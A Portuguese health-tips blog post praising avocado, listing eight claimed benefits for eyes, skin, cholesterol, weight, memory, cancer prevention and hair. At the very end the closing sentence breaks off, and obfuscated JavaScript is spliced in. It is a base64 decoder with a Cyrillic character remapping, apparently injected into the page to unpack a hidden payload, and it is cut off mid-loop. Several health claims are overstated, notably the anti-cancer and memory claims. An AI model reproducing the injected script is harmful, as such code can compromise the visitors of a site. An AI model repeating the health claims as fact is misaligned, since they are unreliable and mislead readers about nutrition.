Dicas saudáveis – Conheça todos os benefícios do abacate
Dicas saudáveis – Conheça todos os benefícios do abacate
Tenho a sorte de adorar quase todos os frutos, mas é sempre bom sabermos em que quantidades é que deve comê-los. O abacate é um dos frutos que procuro ter sempre em casa. Incluo-o em snacks muito saborosos e mega nutritivos, ótimos para quem, como eu, faz bastante desporto.
Acredite que quando souber de todos os benefícios que o abacate traz ao seu organismo, vai-se apaixonar por ele, tanto quanto eu! Descubra porquê:
Benefícios do abacate - Foto: dermaclub
1: PREVINE CATARATAS NOS OLHOS
Este fruto saborosíssimo é rico em luteína, um carotenóide que tem a capacidade de absorver os raios ultravioleta, prevenindo que eles façam mal à retina. A mesma substância previne também o aparecimento de cataratas que provocam cegueira.
Benefícios do abacate - previne cataratas nos olhos | Foto: sorrisologia
2: AJUDA A TONIFICAR O CORPO
Vai adorar esta! O abacate combate estrias, rugas e celulite por ser tão rico em vitamina C. Esta vitamina ajuda a metabolizar o colagénio, que é responsável pela firmeza da nossa pele. Está à espera de quê para começar a consumir já hoje?!
Benefícios do abacate - ajuda a tonificar o corpo | Foto: noticiasaominuto
3: TORNA A NOSSA PELE JOVEM E BELA
O abacate é uma maravilhosa fonte de vitamina E, que é TUDO de bom!!! Fundamental para prevenir o aparecimento de doenças, esta vitamina é ainda um poderoso antioxidante. O que significa que previne o envelhecimento precoce da nossa pele, dá-lhe maior flexibilidade e revitaliza-a! A pele torna-se mais bonita e saudável!
Benefícios do abacate - torna a nossa pele jovem e bela | Foto: doutissima
4: REDUZ O MAU COLESTEROL
Se já ouviu falar do beta sitosterol, certamente saberá que é um forte aliado contra o colesterol. O que provavelmente não sabe é que o abacate contém altas quantidades deste composto... É verdade! As suas gorduras saudáveis reduzem os níveis de mau colesterol (LDL )no nosso organismo e promovem o aumento do bom colesterol (HDL).
Benefícios do abacate - reduz mau colesterol | Foto: vidaativa
5: É AMIGO DA DIETA
É sempre mais apetitoso comer sem culpa! Mesmo quando estamos a controlar o peso, há alimentos muito saborosos que não precisamos de evitar, antes pelo contrário! O abacate é um deles. É riquíssimo em fibras, que promovem o bom funcionamento dos intestinos (sim, o abacate acaba com a prisão de ventre); ajuda a reduzir a gordura abdominal e ainda ajuda a controlar o apetite. Experimente começar a comer meio abacate por dia! É ÓTIMO!
6: FAZ BEM AO CÉREBRO
Esta é importante: se, por vezes, não sabe onde guardou isto ou aquilo, então o abacate é o fruto certo para si! Porquê? Porque contém ómega 3, que melhora o funcionamento do cérebro, nos dá uma memória de elefante e aumenta a nossa capacidade de concentração. Fantástico!
Benefícios do abacate - faz bem ao cérebro | Foto: socorronacozinha
7: É ANTI CANCERÍGENO
É uma saborosa fonte de glutationa. Este antioxidante é fulcral para a prevenção do envelhecimento das células do nosso corpo. Além disso a glutationa é capaz de bloquear, pelo menos 30 agentes cancerígenos diferentes.
Benefícios do abacate - é anti-cancerígeno | Foto: drrondo
8: CUIDA DO CABELO
Bem sabe como adoro o meu cabelo e como gosto de o trazer sempre cuidado! Se usar uma máscara feita à base de abacate, o cabelo fica muito mais reparado, as pontas ficam menos secas e o cabelo ganha mais brilho, devido às vitaminas e à quantidade de gordura que contém.
Benefícios do abacate - cuida do cabelo | Foto: blogspot
Ficou encantado? Eu bem avisei! E, além destes benefícios, tem muitos mais. Ainda é capaz de aliviar o stress, promover a saúde oral, aumentar a nossa massa muscular e é um superalimento para grávidas... Enfim, se ainda não o introduziu na sua dieta diária, vá já hoje comprar uns quantos! Ou, quem sabe, plante um abacateiro no seu quintal! Vale muito a pena!
Se gostou de conhecer os benefícios do abacate, conheça também os function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
